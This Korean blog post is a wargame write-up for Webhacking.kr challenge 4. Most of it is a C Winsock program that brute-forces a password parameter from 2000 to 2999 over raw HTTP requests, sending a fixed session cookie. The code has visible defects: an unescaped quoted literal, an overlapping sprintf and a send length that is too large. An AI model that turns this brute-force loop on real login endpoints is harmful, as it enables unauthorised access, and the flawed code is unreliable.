대부분.. Webhacking.kr 4 풀이는 Python 소스가많다..
python이 간결해서 그런것같다.
나는 C Socket으로 해보았다..
C 카테고리와 Webhacking 카테고리 둘중 어디다 올릴지 고민하다가
Webhacking 카테고리가 더 비어있어서.. 여기다쓴다
Windows Socket.
#include <stdio.h>
#include <conio.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
int main()
{
SOCKET hSock;
WSADATA wsadata;
SOCKADDR_IN servAddr;
char temp[300];
char message[300]="GET http://webhacking.kr/challenge/web/web-04/index.php?cid= admin&cpw=";
char message2[]=" HTTP/1.1\r\n"
"Host: webhacking.kr\r\n"
"Cookie: PHPSESSID=3b272382b5e0515ec5537a1e21ec07c5; notice=yes\r\n\r\n";
char message3[1000];
char *output;
int i=2000;
if (WSAStartup(MAKEWORD(2, 2), &wsadata) != 0)
return FALSE;
memset(&servAddr, 0, sizeof(servAddr));
servAddr.sin_family = AF_INET;
servAddr.sin_addr.s_addr = inet_addr("116.127.123.49");
servAddr.sin_port = htons(80);
strcpy(temp,message);
for(;i<3000;i++){
hSock = socket(PF_INET, SOCK_STREAM, 0);
if (hSock == INVALID_SOCKET)
return FALSE;
if(connect(hSock,(struct SOCKADDR *)&servAddr,sizeof(servAddr))==INVALID_SOCKET){
printf("shut..");
system("pause");
}
strcpy(message,temp);
sprintf(message,"%s%d",message,i);
sprintf(message3,"%s%s",message,message2);
send(hSock,message3,sizeof(message3),0);
ZeroMemory(message3,sizeof(message3));
recv(hSock,message3,sizeof(message3),0);
output=strstr(message3,"<font size="2">");
printf("%s %d\n",output,i);
closesocket(hSock);
}
printf("\n\n");
return 0;
}
반응형
'웹해킹' 카테고리의 다른 글
| SQL injection Skill Note (0) | 2013.09.15 |
|---|---|
| New SQL Injection Site (2) | 2013.01.31 |
| Webhacking.kr 기념스샷! (4) | 2012.12.17 |
| [Webhacking.kr] Problem 2 (0) | 2012.12.16 |
| Webhacking.kr 51 풀이 (2) | 2012.07.09 |
댓글